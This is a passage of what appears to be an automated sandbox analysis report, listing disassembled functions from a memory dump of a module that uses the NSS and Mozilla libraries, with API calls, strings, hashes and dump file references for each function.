EnterCriticalSection.KERNEL32 ref: 6CE34EA9
TlsGetValue.KERNEL32 ref: 6CE34EC6
EnterCriticalSection.KERNEL32 ref: 6CE34EDF
PL_HashTableLookup.NSS3 ref: 6CE34EF8
PR_Unlock.NSS3 ref: 6CE34F05
PR_Now.NSS3 ref: 6CE34F13
PR_Unlock.NSS3 ref: 6CE34F3A

Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007AD
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007CD
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CD9204A), ref: 6CE007D6
Part of subcall function 6CE007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CD9204A), ref: 6CE007E4
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,6CD9204A), ref: 6CE00864
Part of subcall function 6CE007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE00880
Part of subcall function 6CE007A0: TlsSetValue.KERNEL32(00000000,?,?,6CD9204A), ref: 6CE008CB
Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(?,?,6CD9204A), ref: 6CE008D7
Part of subcall function 6CE007A0: TlsGetValue.KERNEL32(?,?,6CD9204A), ref: 6CE008FB

Strings

bUl, xrefs: 6CE34E5C
bUl, xrefs: 6CE34F3F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUl$bUl
API String ID: 326028414-3943757760
Opcode ID: f76a8c3b4b682689dcb9af1e403905054245752cb39d1958f0c102270137e0a6
Instruction ID: ac7000ad549268fe578f563425f932111ebe1cc8841f791fd1aed0e68738fbb1
Opcode Fuzzy Hash: f76a8c3b4b682689dcb9af1e403905054245752cb39d1958f0c102270137e0a6
Instruction Fuzzy Hash: 4E416DB4A106159FCB00EF79C48496ABBF0FF49318B158569EC999B710EB30E855CF91

Function 6CE5ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CE5DE64), ref: 6CE5ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE5ED22

Part of subcall function 6CE6B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF418D0,?), ref: 6CE6B095

PL_FreeArenaPool.NSS3(?), ref: 6CE5ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CE5ED6B
PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE5ED38

Part of subcall function 6CD94C70: TlsGetValue.KERNEL32(?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94C97
Part of subcall function 6CD94C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94CB0
Part of subcall function 6CD94C70: PR_Unlock.NSS3(?,?,?,?,?,6CD93921,6CF714E4,6CEDCC70), ref: 6CD94CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CE5ED52
PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE5ED83
PL_FreeArenaPool.NSS3(?), ref: 6CE5ED95
PL_FinishArenaPool.NSS3(?), ref: 6CE5ED9D

Part of subcall function 6CE764F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CE7127C,00000000,00000000,00000000), ref: 6CE7650E

Strings

security, xrefs: 6CE5ED06

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: fe1bab506055a27d1268bdfc5c386a380bf95dff1e25657757ee08ffd009e00a
Instruction ID: 351e48a5a0a73b5b2ea60fe730f65285af5bb1fc1d347e74d2e5c866bb362bab
Opcode Fuzzy Hash: fe1bab506055a27d1268bdfc5c386a380bf95dff1e25657757ee08ffd009e00a
Instruction Fuzzy Hash: 3C113536900614AAEA205771AC44FBB7378AF0260CF640429E854A3E41F72AA52DC7F6

Function 6CE42CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CE42CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CE42D07

Part of subcall function 6CF209D0: PR_Now.NSS3 ref: 6CF20A22
Part of subcall function 6CF209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF20A35
Part of subcall function 6CF209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF20A66
Part of subcall function 6CF209D0: PR_GetCurrentThread.NSS3 ref: 6CF20A70
Part of subcall function 6CF209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF20A9D
Part of subcall function 6CF209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF20AC8
Part of subcall function 6CF209D0: PR_vsmprintf.NSS3(?,?), ref: 6CF20AE8
Part of subcall function 6CF209D0: EnterCriticalSection.KERNEL32(?), ref: 6CF20B19
Part of subcall function 6CF209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF20B48
Part of subcall function 6CF209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF20C76
Part of subcall function 6CF209D0: PR_LogFlush.NSS3 ref: 6CF20C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE42D22

Part of subcall function 6CF209D0: OutputDebugStringA.KERNEL32(?), ref: 6CF20B88
Part of subcall function 6CF209D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF20C5D
Part of subcall function 6CF209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF20C8D
Part of subcall function 6CF209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF20C9C
Part of subcall function 6CF209D0: OutputDebugStringA.KERNEL32(?), ref: 6CF20CD1
Part of subcall function 6CF209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF20CEC
Part of subcall function 6CF209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF20CFB
Part of subcall function 6CF209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF20D16
Part of subcall function 6CF209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF20D26
Part of subcall function 6CF209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF20D35
Part of subcall function 6CF209D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF20D65
Part of subcall function 6CF209D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF20D70
Part of subcall function 6CF209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF20D90
Part of subcall function 6CF209D0: free.MOZGLUE(00000000), ref: 6CF20D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE42D3B

Part of subcall function 6CF209D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF20BAB
Part of subcall function 6CF209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF20BBA
Part of subcall function 6CF209D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF20D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CE42D54

Part of subcall function 6CF209D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF20BCB
Part of subcall function 6CF209D0: EnterCriticalSection.KERNEL32(?), ref: 6CF20BDE
Part of subcall function 6CF209D0: OutputDebugStringA.KERNEL32(?), ref: 6CF20C16

Strings

ulPinLen = %d, xrefs: 6CE42D36
C_InitToken, xrefs: 6CE42CE7
pPin = 0x%p, xrefs: 6CE42D1D
pLabel = 0x%p, xrefs: 6CE42D4F
slotID = 0x%x, xrefs: 6CE42D02

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 74dbd7d215c2cc82c239b3577afffd569d0a271e82c6e5d6205ed6eb81d8c243
Instruction ID: 06be91b00c477271b840bcdeb5dd17bb360e83e73efef4ca230582d1ec494240
Opcode Fuzzy Hash: 74dbd7d215c2cc82c239b3577afffd569d0a271e82c6e5d6205ed6eb81d8c243
Instruction Fuzzy Hash: 0121B076A10150EFDB41ABA4FD5CB493BB1EB8232DF148024E508D7722DBB28859DBB1

Function 6CF20EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CE02357), ref: 6CF20EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CE02357), ref: 6CF20EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF20EE6

Part of subcall function 6CF209D0: PR_Now.NSS3 ref: 6CF20A22
Part of subcall function 6CF209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF20A35
Part of subcall function 6CF209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF20A66
Part of subcall function 6CF209D0: PR_GetCurrentThread.NSS3 ref: 6CF20A70
Part of subcall function 6CF209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF20A9D
Part of subcall function 6CF209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF20AC8
Part of subcall function 6CF209D0: PR_vsmprintf.NSS3(?,?), ref: 6CF20AE8
Part of subcall function 6CF209D0: EnterCriticalSection.KERNEL32(?), ref: 6CF20B19
Part of subcall function 6CF209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF20B48
Part of subcall function 6CF209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF20C76
Part of subcall function 6CF209D0: PR_LogFlush.NSS3 ref: 6CF20C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF20EFA

Part of subcall function 6CE0AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE0AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF20F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF20F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF20F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF20F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CF20ED9, 6CF20EE5, 6CF20F06, 6CF20F0B
Aborting, xrefs: 6CF20EB3

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: d5dae5ea196f073eb884b72e48f9eff0f038e6e352169f9f71816094dbe8637f
Instruction ID: 4f0642c8ac554c4191131396f72809bb05abffbe765c5414aebbd37cfd2f4f15
Opcode Fuzzy Hash: d5dae5ea196f073eb884b72e48f9eff0f038e6e352169f9f71816094dbe8637f
Instruction Fuzzy Hash: 1CF0A4B6D001147BDF407BA1DC49EAB3E3DDF42664F404024FE2956703DA76E92496B2

Function 6CE84DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CE84DCB

Part of subcall function 6CE70FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71000
Part of subcall function 6CE70FF0: PR_NewLock.NSS3(?,00000800,6CE0EF74,00000000), ref: 6CE71016
Part of subcall function 6CE70FF0: PL_InitArenaPool.NSS3(00000000,security,6CE187ED,00000008,?,00000800,6CE0EF74,00000000), ref: 6CE7102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CE84DE1

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CE84DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE84E59

Part of subcall function 6CE6FAB0: free.MOZGLUE(?,-00000001,?,?,6CE0F673,00000000,00000000), ref: 6CE6FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF4300C,00000000), ref: 6CE84EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CE84EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CE84F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE8521A

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: a524164eebdd62a8d9fa491c6450287db382a862fa44d35f984ed003241977a1
Instruction ID: 96ad8da7407ed758e922b709131a08f5718454b83cc44ea447f7d2695955547f
Opcode Fuzzy Hash: a524164eebdd62a8d9fa491c6450287db382a862fa44d35f984ed003241977a1
Instruction Fuzzy Hash: BCF17D71E02209CBEB04CF54D8507ADB7B2FF45358F35416AD91AAB781EB35E982CB90

Function 6CE14FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CF60148,?,6CE26FEC), ref: 6CE1502A
PR_NewLock.NSS3(00000001,00000000,6CF60148,?,6CE26FEC), ref: 6CE15034
PL_NewHashTable.NSS3(00000000,6CE6FE80,6CE6FD30,6CEBC350,00000000,00000000,00000001,00000000,6CF60148,?,6CE26FEC), ref: 6CE15055
PL_NewHashTable.NSS3(00000000,6CE6FE80,6CE6FD30,6CEBC350,00000000,00000000,?,00000001,00000000,6CF60148,?,6CE26FEC), ref: 6CE1506D

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: abb3f35ed5c04408dc0eda3e20b3559e30f3f17c5c65e1034676989326064cff
Instruction ID: 99e670a488a2f1b3c4d9546ad1a18d0542c8ab974341f8f606643fd5840770ca
Opcode Fuzzy Hash: abb3f35ed5c04408dc0eda3e20b3559e30f3f17c5c65e1034676989326064cff
Instruction Fuzzy Hash: EA31A0B6F1A620DBEA629B65A80CB573778EB1371CF224125E91583F40D3B69414CBF1

Function 6CDB2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDB2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CDB2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CDB3005
memcpy.VCRUNTIME140(?,?,?), ref: 6CDB30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDB3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDB3178

Strings

%s at line %d of [%.10s], xrefs: 6CDB3171
database corruption, xrefs: 6CDB316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDB3022, 6CDB3156, 6CDB3162, 6CDB318A, 6CDB3196, 6CDB31A2, 6CDB31AE, 6CDB31BA, 6CDB31C6

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 0e087d94ee25bf12afeaaa080aff5a4d7652937f7aeb48f1e3dd144d660ee356
Instruction ID: d19ccfa19291d3e9c73f38104a7161f74762b5fa797617259ed1c4c4a6669add
Opcode Fuzzy Hash: 0e087d94ee25bf12afeaaa080aff5a4d7652937f7aeb48f1e3dd144d660ee356
Instruction Fuzzy Hash: 1BB1C2B0E05215DBCB08CF9DC884AEEB7B2BF48304F14802AE84AB7B55D7759941CBA0

Function 6CE87F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CE87FB2

Part of subcall function 6CE0BA40: TlsGetValue.KERNEL32 ref: 6CE0BA51
Part of subcall function 6CE0BA40: TlsGetValue.KERNEL32 ref: 6CE0BA6B
Part of subcall function 6CE0BA40: EnterCriticalSection.KERNEL32 ref: 6CE0BA83
Part of subcall function 6CE0BA40: TlsGetValue.KERNEL32 ref: 6CE0BAA1
Part of subcall function 6CE0BA40: _PR_MD_UNLOCK.NSS3 ref: 6CE0BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CE87FD4

Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90AB
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90C9
Part of subcall function 6CED9090: EnterCriticalSection.KERNEL32 ref: 6CED90E5
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED9116
Part of subcall function 6CED9090: LeaveCriticalSection.KERNEL32 ref: 6CED913F

Part of subcall function 6CE89430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CE89466

PR_ExitMonitor.NSS3(?), ref: 6CE8801B
PR_EnterMonitor.NSS3(?), ref: 6CE88034
TlsGetValue.KERNEL32 ref: 6CE880A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE880C0
PR_ExitMonitor.NSS3(?), ref: 6CE8811C
PR_ExitMonitor.NSS3(?), ref: 6CE88134

Strings

), xrefs: 6CE880DB

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: ac0cd10d915611e4ca5fb299a5aecb60ce13748bbbaa714760d76f592f2da369
Instruction ID: 23e7f7daf7699dda05c99bd8881ba5340f9127dd8601061adfaf3d891e6f66ff
Opcode Fuzzy Hash: ac0cd10d915611e4ca5fb299a5aecb60ce13748bbbaa714760d76f592f2da369
Instruction Fuzzy Hash: 03511376A027049BE7319F359C01BEB77B0AF5230CF28052EDD9D56B52EB31A509C792

Function 6CE2FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CE2FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CE2FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CE2FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE2FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CE2FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CE2FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CE2FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE2FD84

Strings

:, xrefs: 6CE2FD78

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 665929c8e54275249f9a9d33caf4121685cf46e41ef616b573bb8327d787a4fb
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 3231ADB29002259BEB008AA49C05BAF77B8AF4561CF350529DC54A7B01E77EE918C7D2

Function 6CE46C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CE46C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE46C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE46CA3

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE46CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CE46CD5

Strings

pMechanism = 0x%p, xrefs: 6CE46CD0
C_DigestInit, xrefs: 6CE46C61
